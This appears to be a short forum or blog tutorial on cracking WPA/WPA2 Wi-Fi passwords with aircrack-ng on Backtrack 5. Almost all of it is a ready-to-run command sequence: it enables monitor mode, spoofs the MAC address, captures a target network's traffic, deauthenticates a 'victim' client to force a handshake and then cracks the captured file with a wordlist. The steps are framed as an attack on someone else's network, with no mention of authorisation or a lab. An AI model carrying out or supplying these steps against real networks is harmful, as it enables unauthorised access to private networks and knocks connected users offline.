How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)

What you need

  • Backtrack (or Linux with aircrack-ng installed)
  • Virtual machine (e.g. Vmware or Virtualbox)
  • Password list
  • USB Wifi adapter capable of promiscuous mode: Alfa AWUS036H



Alright, fire up the terminal.

Commands

  1. airmon-ng
  2. airmon-ng start wlan0
  3. ifconfig mon0 down
  4. macchanger -m 00:11:22:33:44:55 mon0
  5. ifconfig mon0 up
  6. airodump-ng mon0 (let it scan for a minute)
  7. CTRL + C (stop)
  8. airodump-ng -c (channel) -w (filename. eg. wpa) —bssid (xx:xx:xx:xx:xx:xx) mon0

 Now, we need to deauthenticate a user's pc currently on the network (mac)

  1. open another console
  2. aireplay-ng --deauth 1 (just one!) -e (ESSID) -c  (victim's mac) mon0
  3. Wait for WPA handshake ==> airodump-ng
  4. —-all cracking can be done offline—-
  5. aircrack-ng -w (wordlist) file (eg. WPA-01.cap)
    • this is the file from step 8
Note: Success of attack depends on whether your word-list contains the password or not.

Video



Any problems? Ask!


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